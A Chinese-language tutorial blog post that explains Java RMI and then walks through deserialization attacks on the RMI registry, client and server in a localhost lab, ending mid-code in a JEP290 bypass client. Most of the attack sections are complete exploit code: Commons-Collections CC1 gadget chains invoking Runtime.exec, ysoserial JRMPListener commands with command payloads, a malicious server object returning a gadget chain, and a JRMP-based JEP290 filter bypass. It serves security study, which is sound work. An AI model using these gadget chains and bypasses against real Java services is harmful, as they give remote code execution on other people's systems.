RMI原理及常見反序列化攻擊手法

Erosion2020發表於2024-11-25

這是對網上一些文章和影片的再總結,可以參考以下資料,師傅們分析的都挺詳細了,我這就是記錄一下師傅們寫的部落格。

廖雪峰 - 給了簡單的小例子,瞭解即可

B站影片(白師傅)

先知社群(小陽師傅) - 講的比較詳細,偏理論,可以結合白師傅的影片學習理論

g師傅 - 攻擊手法講的特別詳細,學完理論後看這篇可以學攻擊手法

T師傅,也是分析攻擊案例分析的比較多,強烈推薦

RMI概述

Java的RMI遠端呼叫是指,一個JVM中的程式碼可以透過網路實現遠端呼叫另一個JVM的某個方法。RMI是Remote Method Invocation的縮寫。

提供服務的一方我們稱之為伺服器,而實現遠端呼叫的一方我們稱之為客戶端。

g師傅畫的這個圖真好,一眼看過去就知道是怎麼回事了。

rmi-process2

RMI基本設計

從RMI設計角度來講,基本分為三層架構模式來實現RMI,分別為RMI服務端,RMI客戶端和RMI註冊中心。

客戶端:

存根/樁(Stub):遠端物件在客戶端上的代理;
遠端引用層(Remote Reference Layer):解析並執行遠端引用協議;
傳輸層(Transport):傳送呼叫、傳遞遠端方法引數、接收遠端方法執行結果。

服務端:

骨架(Skeleton):讀取客戶端傳遞的方法引數,呼叫伺服器方的實際物件方法, 並接收方法執行後的返回值;
遠端引用層(Remote Reference Layer):處理遠端引用後向骨架傳送遠端方法呼叫;
傳輸層(Transport):監聽客戶端的入站連線,接收並轉發呼叫到遠端引用層。

登錄檔(Registry):以URL形式註冊遠端物件,並向客戶端回覆對遠端物件的引用。

rmi-process

案例講解

Remote介面

package RMIProject;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 定義一個遠端介面,繼承java.rmi.Remote介面

public interface HelloInterface extends Remote {
    String Hello(String age) throws RemoteException;
}

定義了一個HelloInterface介面,定義了一個hello方法,同時丟擲RemoteException異常。

image-20241125100832182

同時我們在使用RMI遠端方法呼叫的時候,需要事先定義一個遠端介面,繼承java.rmi.Remote介面,但該介面僅為RMI標識介面,本身不代表使用任何方法,說明可以進行RMI java虛擬機器呼叫。

同時由於RMI通訊本質也是基於“網路傳輸”,所以也要丟擲RemoteException異常。

Remote介面實現類

package RMIProject;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// 遠端介面實現類,繼承UnicastRemoteObject類和Hello介面

public class HelloImp extends UnicastRemoteObject implements HelloInterface {

    private static final long serialVersionUID = 1L;

    protected HelloImp() throws RemoteException {
        super(); // 呼叫父類的建構函式
    }

    @Override
    public String Hello(String age) throws RemoteException {
        return "Hello" + age; // 改寫Hello方法
    }
}

接著我們建立HelloImp類,繼承UnicastRemoteObject類和Hello介面,定義改寫HelloInterface介面的hello方法。

但遠端介面實現類必須繼承UnicastRemoteObject類,用於生成 Stub(存根)和 Skeleton(骨架)。

Stub可以看作遠端物件在本地的一個代理,囊括了遠端物件的具體資訊,客戶端可以透過這個代理和服務端進行互動。

Skeleton可以看作為服務端的一個代理,用來處理Stub傳送過來的請求,然後去呼叫客戶端需要的請求方法,最終將方法執行結果返回給Stub。

同時跟進UnicastRemoteObject類原始碼我們可以發現,其建構函式丟擲了RemoteException異常。但這種寫法是十分不好的,所以我們透過super()關鍵詞呼叫父類的建構函式。

image-20241125102059312

RMI伺服器端

package RMIProject;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

// 服務端

public class RMIServer {
    public static void main(String[] args) {
        try {
            HelloInterface h  = new HelloImp(); // 建立遠端物件HelloImp物件例項
            LocateRegistry.createRegistry(1099); // 獲取RMI服務註冊器
            Naming.rebind("rmi://localhost:1099/hello",h); // 繫結遠端物件HelloImp到RMI服務註冊器
            System.out.println("RMIServer start successful");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

這裡客戶端可以透過這個URL直接訪問遠端物件,不需要知道遠端例項物件的名稱,這裡服務端配置完成。RMIServer將提供的服務註冊在了 RMIService上,並且公開了一個固定的路徑 ,供客戶端訪問。

RMI客戶端配置

package RMIProject;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

// 客戶端

public class RMIClient {
    public static void main(String[] args){
        try {
            HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); // 尋找RMI例項遠端物件
            System.out.println(h.Hello("run......"));
        }catch (MalformedURLException e) {
            System.out.println("url格式異常");
        } catch (RemoteException e) {
            System.out.println("建立物件異常");
        } catch (NotBoundException e) {
            System.out.println("物件未繫結");
        }
    }
}

客戶端只需要呼叫 java.rmi.Naming.lookup 函式,透過公開的路徑從RMIService伺服器上拿到對應介面的實現類, 之後透過本地介面即可呼叫遠端物件的方法 .

在整個過程都沒有出現RMI Registry,他是去哪兒了嘛?實際上新建一個RMI Registry的時候,都會直接繫結一個物件在上面,我們示例程式碼中的RMIServer類其實包含了RMI Registry和RMI Server兩部分。如下圖所示。

rmi-process3

接著我們先啟動RMIServer類,再啟動RMIClient類即可。

攻擊實驗場景

實驗目錄

/rmi_injection_labs1/
    ├── client/    # 客戶端
    ├── registry/  # 註冊中心
    ├── server/    # 服務端
    ├── service/   # 服務端業務介面 & 業務實現類

service.rmi

package rmi_injection_labs1.service;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmi extends Remote {
    public String hello() throws RemoteException;
}

service.RemoteClass

package rmi_injection_labs1.service;

import rmi_injection_labs1.service.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteClass extends UnicastRemoteObject implements rmi {
    public RemoteClass() throws RemoteException {
        System.out.println("構造方法");
    }
    public String hello() throws RemoteException {
        System.out.println("hello,world");
        return "hello,world";
    }
}

registry.RegistryClass

這裡的註冊中心其實就已經包含了對應的服務端程式碼,server包中我準備放server端的攻擊程式碼

package rmi_injection_labs1.registry;

import rmi_injection_labs1.service.RemoteClass;
import rmi_injection_labs1.service.rmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RegistryClass {
    public static void main(String[] args) throws Exception {
        rmi hello = new RemoteClass();//建立遠端物件
        Registry registry = LocateRegistry.createRegistry(1099); //建立登錄檔
        registry.rebind("hello",hello);//將遠端物件註冊到登錄檔裡面,並且設定值為hello
    }
}

client.Client

package rmi_injection_labs1.client;

import rmi_injection_labs1.service.RemoteClass;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//獲取遠端主機物件
        // 利用登錄檔的代理去查詢遠端登錄檔中名為hello的物件
        RemoteClass hello = (RemoteClass) registry.lookup("hello");
        // 呼叫遠端方法
        System.out.println(hello.hello());
    }
}

攻擊註冊中心

基本方法

我們與註冊中心進行互動可以使用如下幾種方式

  • list - 缺少readObject方法,所以沒法達到序列化效果,就無法利用
  • bind
  • rebind
  • unbind
  • lookup

這幾種方法位於RegistryImpl_Skel#dispatch中,如果存在readObject,則可以利用

case1 - list

image-20241125190020617

當呼叫bind或rebind時,會用readObject讀出引數名和遠端物件,所以都可以利用

如果服務端存在cc1相關元件漏洞,那麼就可以使用反序列化攻擊,CC1攻擊鏈可以參考(https://www.cnblogs.com/erosion2020/p/18553568)

注意下邊給的兩個poc只能在 jdk7u71以下的版本才能執行,7u71這個版本也不行,我用的是7u66這個版本的JDK,因為在7u71及以上的版本中AnnotationInvocationHandler的readObject方法中,LazyMap被替換成了LinkedHashMap因此無法觸發LazyMap構造的POC,雖然有繞過方法,但是這裡只是為了說明RMI的漏洞,所以降低JDK版本即可

POC1 - 基於bind/rebind

case0 - bind

image-20241125185930568

case3 - rebind

image-20241125191923368

package rmi_injection_labs1.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class ServerAttackRegistryByBind {
    public static void main(String[] args) throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        // 這個地方和原來的CC1寫法不一樣,要把LazyMap.class.getInterfaces()改成new Class[]{Map.class},LazyMap.class.getInterfaces()預設會過去到兩個介面的Class,分別是Map和Serializable,但是這裡只要一個Map才能觸發
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, invocationHandler));
        registry.bind("test",r);
    }
}

來彈個cmd視窗

image-20241125191040610

POC2 - 基於unbind/looup

case2 - lookup

image-20241125190051870

case4 - unbind

image-20241125191936607

package rmi_injection_labs1.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerAttackRegistryUnBuild {
    public static void main(String[] args) throws Exception {
        // ======================這一段就是POC1中的bind/rebuild攻擊鏈程式碼======================
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, invocationHandler));
        // ========================從這裡不一樣了======================
        // 獲取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
        //獲取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);
        // 偽造lookup的程式碼,去偽造傳輸資訊
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
}

攻擊客戶端

註冊中心攻擊客戶端

此方法可以攻擊客戶端和服務端

對於註冊中心來說,我們還是從這幾個方法觸發:

  • bind
  • unbind
  • rebind
  • list
  • lookup

ysoserial cc1攻擊

除了unbind和rebind都會返回資料給客戶端,返回的資料是序列化形式,那麼到了客戶端就會進行反序列化,如果我們能控制註冊中心的返回資料,那麼就能實現對客戶端的攻擊,這裡使用ysoserial的JRMPListener,命令如下

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'calc'

然後使用客戶端去訪問,其實這裡展示的效果就是使用了客戶端訪問了帶有惡意程式碼的註冊中心。

package rmi_injection_labs1.client;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientAttackByCC1 {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
        registry.list();
    }
}

image-20241125194611814

這裡即使呼叫unbind也會觸發反序列化,推測是在之前傳輸一些約定好的資料時進行的序列化和反序列化。所以實際上這五種方法都可以達到註冊中心反打客戶端或服務端的目的

服務端攻擊客戶端

服務端攻擊客戶端,大抵可以分為以下兩種情景。

  1. 服務端返回引數為Object物件
  2. 遠端載入物件

在RMI中,遠端呼叫方法傳遞回來的不一定是一個基礎資料型別(String、int),也有可能是物件,當服務端返回給客戶端一個物件時,客戶端就要對應的進行反序列化。所以我們需要偽造一個服務端,當客戶端呼叫某個遠端方法時,返回的引數是我們構造好的惡意物件。這裡以cc1為例

服務端cc1攻擊

User介面

package rmi_injection_labs1.service;

import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
    public Object getUser() throws RemoteException;
}

服務端

package rmi_injection_labs1.server;

import rmi_injection_labs1.service.LocalUser;
import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class LocalUserServer {
    public static void main(String[] args) throws Exception {
        User liming = new LocalUser("liming",15);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",liming);
        System.out.println("registry is running...");
        System.out.println("liming is bind in registry");
        CountDownLatch latch=new CountDownLatch(1);
        latch.await();
    }
}

客戶端

package rmi_injection_labs1.client;

import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class LocalUserServerAttack2ClientByCC1 {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

惡意類LocalUser

package rmi_injection_labs1.service;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
    public String name;
    public int age;
    public LocalUser(String name, int age) throws RemoteException {
        super();
        this.name = name;
        this.age = age;
    }

    @Override
    public Object getUser() throws RemoteException {
        InvocationHandler invocationHandler = null;
        try{
            String execArgs = "cmd /c start";
            final Transformer transformerChain = new ChainedTransformer(
                    new Transformer[]{ new ConstantTransformer(1) });
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] { String.class }, new Object[]{execArgs}),
                    new ConstantTransformer(1) };
            Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
            Field iTransformers = transformer.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);
            final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
            final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            ctor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
            invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        }catch (Exception ignored){
            throw new RemoteException("生成poc程式碼失敗");
        }
        return invocationHandler;
    }
}

image-20241125195839023

當客戶端呼叫服務端繫結的遠端物件的getUser方法時,將反序列化服務端傳來的惡意遠端物件。此時將觸發RCE

攻擊服務端

基於Object引數反序列化攻擊

如果服務端的某個方法,傳遞的引數是Object型別的引數,當服務端接收資料時,就會呼叫readObject,所以我們可以從這個角度入手來攻擊服務端。

我們在User介面中加一個addUser方法,是接收Object型別引數的

package rmi_injection_labs1.service;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
    public Object getUser() throws RemoteException;
    public void addUser(Object user) throws RemoteException;
}

在介面有方法的引數為Object型別的情況下,新增以下客戶端程式碼

package rmi_injection_labs1.client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import rmi_injection_labs1.service.User;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class LocalUserClientAttack2ServerByCC1 {
    public static void main(String[] args) throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        // ================addUser(Object obj) Object在服務端會被反序列化所以會觸發對應的CC1攻擊鏈
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.addUser(invocationHandler);
    }
}

攻擊效果如下

image-20241125200917895

JEP290介紹

JEP290機制是用來過濾傳入的序列化資料,以提高安全性,在反序列化的過程中,新增了一個filterCheck方法,所以,任何反序列化操作都會經過這個filterCheck方法,利用checkInput方法來對序列化資料進行檢測,如果有任何不合格的檢測,Filter將返回REJECTED。但是jep290filter需要手動設定,透過setObjectInputFilter來設定filter,如果沒有設定,還是不會有白名單。

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }

    if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
        return Status.REJECTED;
    } else {
        Class var2 = var0.serialClass();
        if (var2 == null) {
            return Status.UNDECIDED;
        } else {
            if (var2.isArray()) {
                if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
                    return Status.REJECTED;
                }

                do {
                    var2 = var2.getComponentType();
                } while(var2.isArray());
            }

            if (var2.isPrimitive()) {
                return Status.ALLOWED;
            } else {
                return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
            }
        }
    }
}

設定的白名單如下

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

JEP290本身是JDK9的產物,但是Oracle官方做了向下移植的處理,把JEP290的機制移植到了以下三個版本以及其修復後的版本中:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

以8u121作為測試,同時修改server中的反序列化過濾

package rmi_injection_labs1.server;

import rmi_injection_labs1.service.LocalUser;
import rmi_injection_labs1.service.User;
import sun.misc.ObjectInputFilter;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class LocalUserServer {
    public static void main(String[] args) throws Exception {
        // 設定白名單過濾規則
        ObjectInputFilter.Config.setSerialFilter(info -> {
            if (info.serialClass() == null) {
                return ObjectInputFilter.Status.UNDECIDED; // 未指定類的反序列化,繼續檢查
            }
            // 獲取反序列化的類
            String className = info.serialClass().getName();
            // 白名單:允許以下類
            if (className.equals("java.lang.String") ||
                    className.equals("java.rmi.Remote") ||
                    className.equals("java.lang.reflect.Proxy") ||
                    className.equals("sun.rmi.server.UnicastRef") ||
                    className.equals("java.rmi.server.RMIClientSocketFactory") ||
                    className.equals("java.rmi.server.RMIServerSocketFactory") ||
                    className.equals("java.rmi.activation.ActivationID") ||
                    className.equals("java.rmi.server.UID")) {
                return ObjectInputFilter.Status.ALLOWED;
            }
            // 拒絕所有其他類
            return ObjectInputFilter.Status.REJECTED;
        });
        User liming = new LocalUser("liming",15);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",liming);
        System.out.println("registry is running...");
        System.out.println("liming is bind in registry");
        CountDownLatch latch=new CountDownLatch(1);
        latch.await();
    }
}

因為反序列化被白名單過濾掉了,所以客戶端收到了一些錯誤....

image-20241125210135374

bypass JEP290

Bypass的思路應該是從上面白名單的類或者他們的子類中尋找複寫readObject利用點。

我們透過getRegistry時獲得的註冊中心,其實就是一個封裝了UnicastServerRef物件的物件:

image-20241125210822759

當我們呼叫bind方法後,會透過UnicastRef物件中儲存的資訊與註冊中心進行通訊:

image-20241125210920955

這裡會透過ref與註冊中心通訊,並將繫結的物件名稱以及要繫結的遠端物件發過去,註冊中心在後續會對應進行反序列化

接著來看看yso中的JRMPClient:

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;

這裡返回了一個代理物件,上面用的這些類都在白名單裡,當註冊中心反序列化時,會呼叫到RemoteObjectInvacationHandler父類RemoteObject的readObject方法(因為RemoteObjectInvacationHandler沒有readObject方法),在readObject裡的最後一行會呼叫ref.readExternal方法,並將ObjectInputStream傳進去:

ref.readExternal(in);

UnicastRef#readExternal

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    this.ref = LiveRef.read(var1, false);
}

LiveRef#read

image-20241125211146876

這裡在上邊會把LiveRef物件還原,LiveRef物件中存了我們序列化進去的ip和埠,之後會呼叫DGCClient#registerRefs

image-20241125211312099

var2這裡轉回來的是一個DGCClient.EndpointEntry物件,裡邊同樣封裝了我們的埠資訊,接著會呼叫var2.registerRefs(var1),然後在registerRefs中會調到DGCClient#makeDirtyCall,並把var2、var3傳進去,var2裡封裝了我們的endpoint資訊,var3中則是關於協議互動的SequenceNum。

public boolean registerRefs(List<LiveRef> var1) {
    assert !Thread.holdsLock(this);
    HashSet var2 = null;
    long var3;
    synchronized(this) {
        if (this.removed) {
            return false;
        }
        LiveRef var7;
        RefEntry var8;
        for(Iterator var6 = var1.iterator(); var6.hasNext(); var8.addInstanceToRefSet(var7)) {
            var7 = (LiveRef)var6.next();
            assert var7.getEndpoint().equals(this.endpoint)
            var8 = (RefEntry)this.refTable.get(var7);
            if (var8 == null) {
                LiveRef var9 = (LiveRef)var7.clone();
                var8 = new RefEntry(var9);
                this.refTable.put(var9, var8);
                if (var2 == null) {
                    var2 = new HashSet(5);
                }
                var2.add(var8);
            }
        }
        if (var2 == null) {
            return true;
        }
        var2.addAll(this.invalidRefs);
        this.invalidRefs.clear();
        var3 = DGCClient.getNextSequenceNum();
    }
    this.makeDirtyCall(var2, var3);
    return true;
}

這裡會進到dirty方法中,var4是我們傳進去的ObjID物件,var1是一個HashSet物件,裡邊存了我們的Endpoint資訊

private void makeDirtyCall(Set<RefEntry> var1, long var2) {
    assert !Thread.holdsLock(this);

    ObjID[] var4;
    if (var1 != null) {
        var4 = createObjIDArray(var1);
    } else {
        var4 = DGCClient.emptyObjIDArray;
    }

    long var5 = System.currentTimeMillis();

    long var8;
    long var12;
    try {
        Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));
        var8 = var7.getValue();
        long var10 = DGCClient.computeRenewTime(var5, var8);
        var12 = var5 + var8;
        synchronized(this) {
            this.dirtyFailures = 0;
            this.setRenewTime(var10);
            this.expirationTime = var12;
        }
    } catch (Exception var19) {
        var8 = System.currentTimeMillis();
        synchronized(this) {
            ++this.dirtyFailures;
            if (this.dirtyFailures == 1) {
                this.dirtyFailureStartTime = var5;
                this.dirtyFailureDuration = var8 - var5;
                this.setRenewTime(var8);
            } else {
                int var11 = this.dirtyFailures - 2;
                if (var11 == 0) {
                    this.dirtyFailureDuration = Math.max(this.dirtyFailureDuration + (var8 - var5) >> 1, 1000L);
                }

                var12 = var8 + (this.dirtyFailureDuration << var11);
                if (var12 >= this.expirationTime && this.dirtyFailures >= 5 && var12 >= this.dirtyFailureStartTime + DGCClient.leaseValue) {
                    this.setRenewTime(Long.MAX_VALUE);
                } else {
                    this.setRenewTime(var12);
                }
            }

            if (var1 != null) {
                this.invalidRefs.addAll(var1);
                Iterator var20 = var1.iterator();

                while(var20.hasNext()) {
                    RefEntry var21 = (RefEntry)var20.next();
                    var21.markDirtyFailed();
                }
            }

            if (this.renewTime >= this.expirationTime) {
                this.invalidRefs.addAll(this.refTable.values());
            }
        }
    }

}

這裡wirteObject後,會用invoke將資料發出去,接下來從socket連線中先讀取了輸入,然後直接反序列化,此時的反序列化並沒有設定filter,所以這裡可以直接導致註冊中心rce,所以我們可以偽造一個socket連線並把我們惡意序列化的物件發過去

image-20241125211955648

使用ysoserial構造惡意服務端

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"

服務端程式碼

package rmi_injection_labs1.server;

import rmi_injection_labs1.service.LocalUser;
import rmi_injection_labs1.service.User;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class LocalUserServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(2222);
        User user = new LocalUser("Erosion", 25);
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 2222");
    }
}

客戶端程式碼

package rmi_injection_labs1.client;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JEP290AttackClientByYsoSerial {
    public static void main(String[] args) throws Exception {
        Registry reg = LocateRegistry.getRegistry("127.0.0.1",2222);
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
